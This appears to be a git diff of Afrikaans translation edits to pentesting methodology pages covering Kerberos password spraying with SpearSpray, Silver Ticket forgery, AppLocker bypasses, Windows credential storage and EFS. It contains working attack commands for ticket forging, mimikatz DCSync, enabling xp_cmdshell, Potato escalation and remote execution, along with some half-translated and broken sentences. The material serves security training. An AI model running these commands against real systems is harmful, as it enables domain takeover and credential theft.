-- ’n [+] sonder (Pwn3d!) in sommige modules (bv. RDP/WinRM) beteken dat die creds geldig is, maar die account nie interaktiewe aanmeldregte het nie.
+- Maak seker jou gasheerklok is gesinkroniseer met die DC voordat Kerberos-gebaseerde operasies uitgevoer word: `sudo ntpdate <dc_fqdn>`.
+- 'n [+] sonder (Pwn3d!) in sommige modules (bv. RDP/WinRM) beteken die creds is geldig, maar die rekening het geen interaktiewe aanmeldregte nie.
 
 ## Brute Force
 ```bash
 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 ```
-### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
+### Kerberos pre-auth spraying met LDAP-targeting en PSO-bewuste throttling (SpearSpray)
 
-Kerberos pre-auth–based spraying verminder geraas vs SMB/NTLM/LDAP bind attempts en pas beter by AD lockout policies. SpearSpray koppel LDAP-driven targeting, 'n patroon-enjin, en beleidsbewustheid (domain policy + PSOs + badPwdCount buffer) om presies en veilig te spray. Dit kan ook compromised principals in Neo4j tag vir BloodHound pathing.
+Kerberos pre-auth–based spraying verminder geraas teenoor SMB/NTLM/LDAP bind-pogings en stem beter ooreen met AD lockout-beleid. SpearSpray koppel LDAP-driven targeting, 'n pattern engine, en beleidbewustheid (domain policy + PSOs + badPwdCount buffer) om presies en veilig te spray. Dit kan ook gekompromitteerde principals in Neo4j merk vir BloodHound pathing.
 
-Key ideas:
-- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
-- Domain lockout policy + PSO-aware filtering om 'n konfigureerbare attempt buffer (threshold) oor te laat en te voorkom dat gebruikers vergrendel word.
-- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
-- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
-- Throughput control with threads, jitter, and max requests per second.
-- Optional Neo4j integration to mark owned users for BloodHound.
+Sleutelidees:
+- LDAP-gebruikersontdekking met paging en LDAPS-ondersteuning, opsioneel met aangepaste LDAP-filters.
+- Domain lockout-beleid + PSO-bewuste filtering om 'n konfiguureerbare pogingbuffer (drempel) oor te laat en te verhoed dat gebruikers gelock word.
+- Kerberos pre-auth validasie gebruik vinnige gssapi bindings (genereer 4768/4771 op DCs in plaas van 4625).
+- Patroon-gebaseerde, per-gebruiker wagwoordgenerasie wat veranderlikes gebruik soos name en temporale waardes afgelei van elke gebruiker se pwdLastSet.
+- Deursetbeheer met threads, jitter, en maksimum versoeke per sekonde.
+- Opsionele Neo4j-integrasie om oorheersde gebruikers te merk vir BloodHound.
 
 Basiese gebruik en ontdekking:
 ```bash
@@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
 # LDAPS (TCP/636)
 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
 ```
-Teiken en patroonbeheer:
+Teiken- en patroonbeheer:
 ```bash
 # Custom LDAP filter (e.g., target specific OU/attributes)
 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
 # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
 ```
-Stealth- en veiligheidskontroles:
+Stealth en veiligheidskontroles:
 ```bash
 # Control concurrency, add jitter, and cap request rate
 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@@ -176,13 +176,13 @@ Oorsig van die patroonstelsel (patterns.txt):
 ```
 Beskikbare veranderlikes sluit in:
 - {name}, {samaccountname}
-- Tydsafhanklik vanaf elke gebruiker se pwdLastSet (of whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
-- Samestellinghelpers en org token: {separator}, {suffix}, {extra}
+- Tydelike waardes van elke gebruiker se pwdLastSet (of whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
+- Samestellingshelpers en org-token: {separator}, {suffix}, {extra}
 
 Operasionele notas:
-- Gee voorkeur aan navraag by die PDC-emulator met -dc om die mees gesaghebbende badPwdCount en beleidverwante inligting te lees.
-- badPwdCount-resette word op die volgende poging ná die waarnemingsvenster geaktiveer; gebruik drempel en tydsberekening om veilig te bly.
-- Kerberos pre-auth pogings verskyn as 4768/4771 in DC-telemetrie; gebruik jitter en rate-limiting om in te meng.
+- Voorkeur om die PDC-emulator met -dc te bevraagteken om die mees gesaghebbende badPwdCount en beleidverwante inligting te lees.
+- badPwdCount-herstellings word geaktiveer op die volgende poging ná die waarnemingsvenster; gebruik drempelwaardes en tydsberekening om veilig te bly.
+- Kerberos pre-auth-pogings verskyn as 4768/4771 in DC-telemetrie; gebruik jitter en rate-limiting om in te meng.
 
 > Wenk: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
 
@@ -191,7 +191,7 @@ Operasionele notas:
 Daar is verskeie gereedskap vir p**assword spraying outlook**.
 
 - Met [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
-- met [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
+- Met [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
 - Met [Ruler](https://github.com/sensepost/ruler) (betroubaar!)
 - Met [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
 - Met [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)

src/windows-hardening/active-directory-methodology/silver-ticket.md

@@ -6,12 +6,13 @@
 
 ## Silver ticket
 
-Die **Silver Ticket**-aanval behels die misbruik van service tickets in Active Directory (AD) omgewings. Hierdie metode berus op die **verkryging van die NTLM hash van 'n service account**, soos 'n rekenaarrekening, om 'n Ticket Granting Service (TGS) ticket te vervals. Met hierdie vervalste ticket kan 'n aanvaller toegang kry tot spesifieke dienste op die netwerk, **optree as enige gebruiker**, gewoonlik met die doel om administratiewe voorregte te bekom. Dit word beklemtoon dat die gebruik van AES-sleutels om tickets te vervals veiliger en minder opspoorbaar is.
+Die **Silver Ticket** aanval behels die uitbuiting van service tickets in Active Directory (AD)-omgewings. Hierdie metode berus op die verkryging van die NTLM hash van 'n service account, soos 'n computer account, om 'n Ticket Granting Service (TGS) ticket te vervals. Met hierdie vervalste ticket kan 'n aanvaller toegang kry tot spesifieke dienste op die netwerk, impersonating any user, tipies met die doel om administratiewe voorregte te verkry. Dit word beklemtoon dat die gebruik van AES keys vir die vervalsing van tickets veiliger en minder opspoorbaar is.
 
 > [!WARNING]
-> Silver Tickets is minder opspoorbaar as Golden Tickets omdat hulle slegs die **hash van die service account** benodig, nie die krbtgt-rekening nie. Hulle is egter beperk tot die spesifieke diens waarop hulle gemik is. As jy die **wagwoord van 'n rekening met 'n SPN** kompromitteer, kan jy daardie wagwoord gebruik om 'n Silver Ticket te skep wat as enige gebruiker na daardie diens optree.
+> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.  
+> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
 
-Vir die vervaardiging van tickets word verskillende tools gebruik, afhangend van die bedryfstelsel:
+For ticket crafting, different tools are employed based on the operating system:
 
 ### Op Linux
 ```bash
@@ -36,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
 # Obtain a shell
 .\PsExec.exe -accepteula \\<TARGET> cmd
 ```
-Die CIFS-diens word uitgelig as 'n algemene teiken om toegang tot die slagoffer se lêerstelsel te verkry, maar ander dienste soos HOST en RPCSS kan ook uitgebuit word vir opdragte en WMI-navrae.
+Die CIFS-diens word uitgelig as 'n algemene teiken om toegang tot die slagoffer se lêerstelsel te kry, maar ander dienste soos HOST en RPCSS kan ook uitgebuit word vir take en WMI-navrae.
 
-### Voorbeeld: MSSQL service (MSSQLSvc) + Potato to SYSTEM
+### Voorbeeld: MSSQL-diens (MSSQLSvc) + Potato na SYSTEM
 
-Indien jy die NTLM-hash (of AES key) van 'n SQL service account (bv. sqlsvc) het, kan jy 'n TGS vir die MSSQL SPN vervals en enige gebruiker teenoor die SQL service imiteer. Van daar, skakel xp_cmdshell aan om opdragte as die SQL service account uit te voer. As daardie token SeImpersonatePrivilege het, ketting 'n Potato om na SYSTEM te eskaleer.
+As jy die NTLM-hash (of AES-sleutel) van 'n SQL-diensrekening (bv. sqlsvc) het, kan jy 'n TGS vir die MSSQL SPN vervals en enigiemand aan die SQL-diens voorgee. Van daar af, aktiveer xp_cmdshell om opdragte uit te voer as die SQL-diensrekening. As daardie token SeImpersonatePrivilege het, ketting 'n Potato om na SYSTEM te verhoog.
 ```bash
 # Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
 python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@@ -51,20 +52,20 @@ export KRB5CCNAME=$PWD/administrator.ccache
 impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
 -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
 ```
-- As die resulterende konteks SeImpersonatePrivilege het (dikwels waar vir service accounts), gebruik 'n Potato-variant om SYSTEM te kry:
+- As die resulterende konteks SeImpersonatePrivilege het (dikwels waar vir diensrekeninge), gebruik 'n Potato variant om SYSTEM te kry:
 ```bash
 # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
 PrintSpoofer.exe -c "cmd /c whoami"
 # or
 GodPotato -cmd "cmd /c whoami"
 ```
-Meer besonderhede oor die misbruik van MSSQL en die aktivering van xp_cmdshell:
+Meer besonderhede oor die misbruik van MSSQL en die aanskakeling van xp_cmdshell:
 
 {{#ref}}
 abusing-ad-mssql.md
 {{#endref}}
 
-Potato techniques oorsig:
+Potato-tegnieke oorsig:
 
 {{#ref}}
 ../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@@ -72,50 +73,51 @@ Potato techniques oorsig:
 
 ## Beskikbare Dienste
 
-| Service Type                               | Service Silver Tickets                                                     |
+| Diens Tipe                                 | Diens Silver Tickets                                                        |
 | ------------------------------------------ | -------------------------------------------------------------------------- |
 | WMI                                        | <p>HOST</p><p>RPCSS</p>                                                    |
-| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Afhangend van die OS ook:</p><p>WSMAN</p><p>RPCSS</p> |
-| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In sommige gevalle kan jy net vra vir: WINRM</p> |
+| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
+| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
 | Scheduled Tasks                            | HOST                                                                       |
 | Windows File Share, also psexec            | CIFS                                                                       |
 | LDAP operations, included DCSync           | LDAP                                                                       |
 | Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
 | Golden Tickets                             | krbtgt                                                                     |
 
-Using **Rubeus** you may **ask for all** these tickets using the parameter:
+Met **Rubeus** kan jy vir al hierdie tickets vra met die parameter:
 
 - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
 
 ### Silver tickets Gebeurtenis-ID's
 
-- 4624: Rekening aanmelding
-- 4634: Rekening afmelding
-- 4672: Administrateur aanmelding
+- 4624: Rekening-aanmelding
+- 4634: Rekening-afmelding
+- 4672: Beheerders-aanmelding
 
 ## Persistensie
 
-Om te voorkom dat masjiene hul wagwoord elke 30 dae roteer, stel `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` of jy kan `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` instel op 'n groter waarde as 30 dae om die roteringsperiode aan te dui wanneer die masjien se wagwoord geroteer moet word.
+Om te voorkom dat masjiene hul wagwoord elke 30 dae roteer stel `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` of jy kan `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` op 'n groter waarde as 30 dae stel om die rotasieperiode aan te dui wanneer die masjien se wagwoord geroteer moet word.
 
 ## Misbruik van Service tickets
 
-In die volgende voorbeelde kom ons veronderstel dat die ticket verkry is deur die administrateurrekening na te boots.
+In die volgende voorbeelde gaan ons aanvaar dat die ticket bekom is deur die administrateurrekening te imiteer.
 
 ### CIFS
 
-Met hierdie ticket sal jy toegang hê tot die `C$` en `ADMIN$` vouer via **SMB** (as dit blootgestel is) en lêers na 'n deel van die afgeleë lêerstelsel kan kopieer deur iets soos die volgende te doen:
+Met hierdie ticket sal jy toegang hê tot die `C$` en `ADMIN$` gids via **SMB** (as dit blootgestel is) en kan lêers kopieer na 'n gedeelte van die afgeleë lêerstelsel deur net iets soos die volgende te doen:
 ```bash
 dir \\vulnerable.computer\C$
 dir \\vulnerable.computer\ADMIN$
 copy afile.txt \\vulnerable.computer\C$\Windows\Temp
 ```
-Jy sal ook 'n shell binne die host kan verkry of arbitrêre opdragte kan uitvoer met **psexec**:
+Jy sal ook in staat wees om 'n shell binne die gasheer te verkry of arbitrêre opdragte uit te voer met **psexec**:
+
 
 {{#ref}}
 ../lateral-movement/psexec-and-winexec.md
 {{#endref}}
 
-### HOST
+### GASHEER
 
 Met hierdie toestemming kan jy geskeduleerde take op afgeleë rekenaars skep en arbitrêre opdragte uitvoer:
 ```bash
@@ -131,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
 ```
 ### HOST + RPCSS
 
-Met hierdie tickets kan jy **WMI in die slagoffer se stelsel uitvoer**:
+Met hierdie tickets kan jy **WMI in die slagofferstelsel uitvoer**:
 ```bash
 #Check you have enough privileges
 Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@@ -141,7 +143,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
 #You can also use wmic
 wmic remote.computer.local list full /format:list
 ```
-Vind **meer inligting oor wmiexec** in die volgende bladsy:
+Vind **meer inligting oor wmiexec** op die volgende bladsy:
 
 
 {{#ref}}
@@ -150,19 +152,18 @@ Vind **meer inligting oor wmiexec** in die volgende bladsy:
 
 ### HOST + WSMAN (WINRM)
 
-Met winrm-toegang op 'n rekenaar kan jy daarby **toegang kry** en selfs 'n PowerShell:
+Met winrm-toegang tot 'n rekenaar kan jy daarop **toegang kry** en selfs 'n PowerShell kry:
 ```bash
 New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
 ```
-Check the following page to learn **more ways to connect with a remote host using winrm**:
-
+Kyk na die volgende bladsy om **meer maniere te leer om met 'n afgeleë gasheer via winrm te verbind**:
 
 {{#ref}}
 ../lateral-movement/winrm.md
 {{#endref}}
 
 > [!WARNING]
-> Let wel dat **winrm aktief moet wees en moet luister** op die afgeleë rekenaar om toegang daartoe te kry.
+> Let daarop dat **winrm aktief en aan die luister moet wees** op die afgeleë rekenaar om toegang daartoe te kry.
 
 ### LDAP
 
@@ -170,7 +171,7 @@ Met hierdie voorreg kan jy die DC-databasis dump met **DCSync**:
 ```
 mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
 ```
-**Lees meer oor DCSync** op die volgende bladsy:
+**Leer meer oor DCSync** in die volgende bladsy:
 
 
 {{#ref}}

src/windows-hardening/authentication-credentials-uac-and-efs/README.md

@@ -2,16 +2,16 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## AppLocker Beleid
+## AppLocker-beleid
 
-'n Aansoek-witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om op 'n stelsel teenwoordig te wees en uitgevoer te word. Die doel is om die omgewing te beskerm teen skadelike malware en nie-goedgekeurde sagteware wat nie in lyn is met die spesifieke sakebehoeftes van 'n organisasie nie.
+'n Toepassings-witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat op 'n stelsel teenwoordig mag wees en uitgevoer kan word. Die doel is om die omgewing te beskerm teen skadelike malware en ongeakkrediteerde sagteware wat nie by die spesifieke sakebehoeftes van 'n organisasie pas nie.
 
-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek-witlys-oplossing** en gee stelselsadministrateurs beheer oor **watter toepassings en lêers gebruikers kan uitvoer**. Dit bied **gedetailleerde beheer** oor executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.\
-Dit is algemeen dat organisasies **block cmd.exe and PowerShell.exe** en skryftoegang tot sekere gidse beperk, **maar dit alles kan omseil word**.
+[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **oplossing vir toepassings-witlyste** en gee stelseladministrateurs beheer oor **watter toepassings en lêers gebruikers kan uitvoer**. Dit bied **fyn beheer** oor uitvoerbare lêers, skripte, Windows installer-lêers, DLLs, packaged apps, en packed app installers.  
+Dit is algemeen dat organisasies **blokkeer cmd.exe en PowerShell.exe** en skryftoegang tot sekere gidse beperk, **maar dit kan alles omseil word**.
 
-### Check
+### Kontroleer
 
-Kontroleer watter lêers/uitbreidings swartlys/witlys is:
+Kontroleer watter lêers/uitbreidings op die swartlys/witlys is:
 ```bash
 Get-ApplockerPolicy -Effective -xml
 
@@ -20,43 +20,43 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 $a = Get-ApplockerPolicy -effective
 $a.rulecollections
 ```
-Hierdie registerpad bevat die konfigurasies en beleide wat deur AppLocker toegepas word, en bied 'n manier om die huidige stel reëls wat op die stelsel afgedwing word, te hersien:
+Hierdie registerpad bevat die konfigurasies en beleide wat deur AppLocker toegepas word en bied 'n manier om die huidige stel reëls wat op die stelsel afgedwing word, na te gaan:
 
 - `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
 
 ### Bypass
 
-- Useful **skryfbare vouers** to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside `C:\Windows\System32` or `C:\Windows` there are **skryfbare vouers** you can use to **bypass this**.
+- Nuttige **Writable folders** om AppLocker Policy te bypass: As AppLocker toelaat dat enigiets binne `C:\Windows\System32` of `C:\Windows` uitgevoer kan word, is daar **writable folders** wat jy kan gebruik om **bypass this**.
 ```
 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
 C:\Windows\System32\spool\drivers\color
 C:\Windows\Tasks
 C:\windows\tracing
 ```
-- Dikwels **vertroude** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries kan ook nuttig wees om AppLocker te omseil.
-- **Sleg geskryfde reëls kan ook omseil word**
-- Byvoorbeeld, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, jy kan 'n **gids met die naam `allowed`** enige plek skep en dit sal toegelaat word.
-- Organisasies fokus ook dikwels op die **blokkeer van die `%System32%\WindowsPowerShell\v1.0\powershell.exe` uitvoerbare**, maar vergeet van die **ander** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) soos `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` of `PowerShell_ISE.exe`.
-- **DLL enforcement word baie selde geaktiveer** weens die bykomende las wat dit op 'n stelsel kan plaas, en die hoeveelheid toetsing wat nodig is om te verseker dat niks sal breek nie. Dus sal die gebruik van **DLLs as backdoors** help om AppLocker te omseil.
-- Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **execute Powershell** kode in enige proses uit te voer en AppLocker te omseil. Vir meer inligting, kyk: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
+- Algemeen vertroude [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries kan ook nuttig wees om AppLocker te omseil.
+- **Sleg opgestelde reëls kan ook omseil word**
+- Byvoorbeeld, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, jy kan 'n **gids genaamd `allowed`** enige plek skep en dit sal toegelaat word.
+- Organisasies fokus dikwels op die blokkeer van die **`%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, maar vergeet van die **ander** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) soos `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` of `PowerShell_ISE.exe`.
+- **DLL enforcement word baie selde geaktiveer** as gevolg van die ekstra las wat dit op 'n stelsel kan plaas, en die hoeveelheid toetsing wat nodig is om te verseker dat niks sal breek nie. Daarom sal die gebruik van **DLLs as backdoors** help om AppLocker te omseil.
+- Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om PowerShell-code in enige proses uit te voer en AppLocker te omseil. Vir meer inligting, sien: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
 
-## Kredensiële berging
+## Credentials Storage
 
 ### Security Accounts Manager (SAM)
 
-Plaaslike kredensiële is in hierdie lêer teenwoordig; die wagwoorde is gehash.
+Lokale kredensiale is in hierdie lêer teenwoordig, die wagwoorde is gehash.
 
 ### Local Security Authority (LSA) - LSASS
 
-Die **kredensiële** (gehash) word **gestoor** in die **geheue** van hierdie subsisteem vir Single Sign-On redes.\
-**LSA** administreer die plaaslike **sekuriteitsbeleid** (wagwoordbeleid, gebruikerstoestemmings...), **authentication**, **access tokens**...\
-LSA sal die een wees wat die verskafde kredensiële binne die **SAM**-lêer sal **kontroleer** (vir 'n plaaslike aanmelding) en met die **domain controller** sal **praat** om 'n domeingebruiker te verifieer.
+Die **kredensiale** (gehash) word **gestoor** in die **geheue** van hierdie substelsel vir Single Sign-On redes.\
+**LSA** administreer die plaaslike **sekuriteitsbeleid** (wagwoordbeleid, gebruikerstoestemmings...), **verifikasie**, **toegangstokens**...\
+LSA sal die een wees wat die verskafde kredensiale binne die **SAM**-lêer (vir 'n plaaslike aanmelding) sal **kontroleer** en met die **domain controller** sal **kommunikeer** om 'n domeingebruiker te verifieer.
 
-Die **kredensiële** word **gestoor** binne die **proses LSASS**: Kerberos-kaartjies, NT- en LM-hashe, wagwoorde wat maklik gedekripteer kan word.
+Die **kredensiale** word **gestoor** binne die **proses LSASS**: Kerberos tickets, NT- en LM-hashes, maklik ontsleutelde wagwoorde.
 
 ### LSA secrets
 
-LSA kan sekere kredensiële op skyf stoor:
+LSA kan sommige kredensiale op skyf stoor:
 
 - Wagwoord van die rekenaarrekening van die Active Directory (onbereikbare domain controller).
 - Wagwoorde van die rekeninge van Windows-dienste
@@ -65,13 +65,13 @@ LSA kan sekere kredensiële op skyf stoor:
 
 ### NTDS.dit
 
-Dit is die databasis van die Active Directory. Dit is slegs op Domain Controllers teenwoordig.
+Dit is die databasis van die Active Directory. Dit is slegs teenwoordig op Domain Controllers.
 
 ## Defender
 
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) is 'n Antivirus wat beskikbaar is in Windows 10 en Windows 11, en in weergawes van Windows Server. Dit **blokkeer** algemene pentesting-instrumente soos **`WinPEAS`**. Daar is egter maniere om hierdie beskermings te **omseil**.
+[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) is 'n antivirus wat beskikbaar is in Windows 10 en Windows 11, en in weergawes van Windows Server. Dit **blokkeer** algemene pentesting-instrumente soos **`WinPEAS`**. Daar is egter maniere om hierdie beskermings te omseil.
 
-### Kontroleer
+### Check
 
 Om die **status** van **Defender** te kontroleer kan jy die PS-cmdlet **`Get-MpComputerStatus`** uitvoer (kyk na die waarde van **`RealTimeProtectionEnabled`** om te weet of dit aktief is):
 
@@ -103,57 +103,57 @@ sc query windefend
 ```
 ## Gekodeerde Lêerstelsel (EFS)
 
-EFS beveilig lêers deur enkripsie en gebruik 'n **simmetriese sleutel** bekend as die **File Encryption Key (FEK)**. Hierdie sleutel word met die gebruiker se **openbare sleutel** gekodeer en in die gekodeerde lêer se $EFS **alternatiewe datastraam** gestoor. Wanneer ontsleuteling nodig is, word die ooreenstemmende **privaat sleutel** van die gebruiker se digitale sertifikaat gebruik om die FEK vanaf die $EFS-stroom te ontsleutel. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
+EFS beveilig lêers deur enkripsie en gebruik 'n **simbetriese sleutel** wat bekend staan as die **File Encryption Key (FEK)**. Hierdie sleutel word met die gebruiker se **public key** opgesluit en in die $EFS **alternatiewe datastroom** van die gekodeerde lêer gestoor. Wanneer ontsleuteling nodig is, word die ooreenstemmende **private key** van die gebruiker se digitale sertifikaat gebruik om die FEK vanuit die $EFS-stroom te ontsluit. Meer besonderhede is beskikbaar [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
 
-**Ontsleuteling-scenario's sonder gebruikersinisiëring** sluit in:
+**Ontsleutelingsscenario's sonder gebruikersinitiasie** sluit in:
 
-- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel verskuif word, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), word hulle outomaties ontsleuteld.
-- Gekodeerde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor transmissie ontsleuteld.
+- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel geskuif word, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), word hulle outomaties ontsluit.
+- Gekodeerde lêers wat oor die netwerk via SMB/CIFS gestuur word, word voor transmissie ontsluit.
 
-Hierdie enkripsiemetode laat die eienaar toe om op 'n **deursigtige wyse** toegang tot die gekodeerde lêers te hê. Net die eienaar se wagwoord verander en aanmeld sal egter nie ontsleuteling moontlik maak nie.
+Hierdie enkripsiemetode laat toe vir **deursigtige toegang** tot gekodeerde lêers vir die eienaar. Tog sal dit nie volstaan om bloot die eienaar se wagwoord te verander en aan te teken om ontsleuteling moontlik te maak nie.
 
 Belangrike punte:
 
-- EFS gebruik 'n simmetriese FEK, wat met die gebruiker se openbare sleutel gekodeer is.
-- Ontsleuteling gebruik die gebruiker se privaat sleutel om by die FEK uit te kom.
-- Outomatiese ontsleuteling vind plaas onder spesifieke toestande, soos kopieer na FAT32 of netwerktransmissie.
-- Gekodeerde lêers is vir die eienaar toeganklik sonder ekstra stappe.
+- EFS gebruik 'n simmetriese FEK, wat met die gebruiker se public key geënkripteer word.
+- Ontsleuteling gebruik die gebruiker se private key om by die FEK uit te kom.
+- Outomatiese ontsleuteling gebeur onder spesifieke toestande, soos kopieer na FAT32 of netwerktransmissie.
+- Gekodeerde lêers is vir die eienaar toeganklik sonder addisionele stappe.
 
 ### Kontroleer EFS-inligting
 
-Kyk of 'n **gebruiker** hierdie **diens** gebruik het deur te kyk of hierdie pad bestaan:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
+Kontroleer of 'n **gebruiker** hierdie **diens** gebruik het deur te kyk of hierdie pad bestaan: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
 
-Kontroleer **wie** toegang tot die lêer het met die gebruik van cipher /c \<file\>  
-Jy kan ook gebruik maak van `cipher /e` en `cipher /d` binne 'n gids om alle lêers te **enkripteer** en **ontsleutel**.
+Kontroleer **wie** toegang tot die lêer het met `cipher /c \<file\>`  
+Jy kan ook `cipher /e` en `cipher /d` binne 'n vouer gebruik om al die lêers te **enkripteer** en **ontsleutel**.
 
 ### Ontsleuteling van EFS-lêers
 
-#### Wees SYSTEM
+#### SYSTEM-bevoegdheid
 
-Hierdie metode vereis dat die **slagoffer-gebruiker** 'n **proses** op die gasheer laat loop. As dit die geval is, kan jy met 'n `meterpreter` sessie die token van die gebruiker se proses simuleer (`impersonate_token` van `incognito`). Of jy kan net na die gebruiker se proses `migrate`.
+Hierdie metode vereis dat die **slagoffergebruik­er** 'n **proses** op die gasheer laat loop. As dit die geval is, kan jy met 'n `meterpreter`-sessie die token van die proses van die gebruiker imiteer (`impersonate_token` van `incognito`). Of jy kan net na die proses van die gebruiker `migrate`.
 
-#### Weet die gebruiker se wagwoord
+#### Om die gebruiker se wagwoord te ken
 
 
 {{#ref}}
 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
 {{#endref}}
 
-## Gegroepeerde Beheerde Diensrekeninge (gMSA)
+## Groep Beheerde Service-rekeninge (gMSA)
 
-Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastrukture te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "Password never expire" instelling aangeskakel het, bied gMSA's 'n veiliger en beter hanteerbare oplossing:
+Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van service-rekeninge in IT-infrastrukture te vereenvoudig. Anders as tradisionele service-rekeninge wat dikwels die instelling "**Password never expire**" opgesit het, bied gMSAs 'n veiliger en meer bestuurbare oplossing:
 
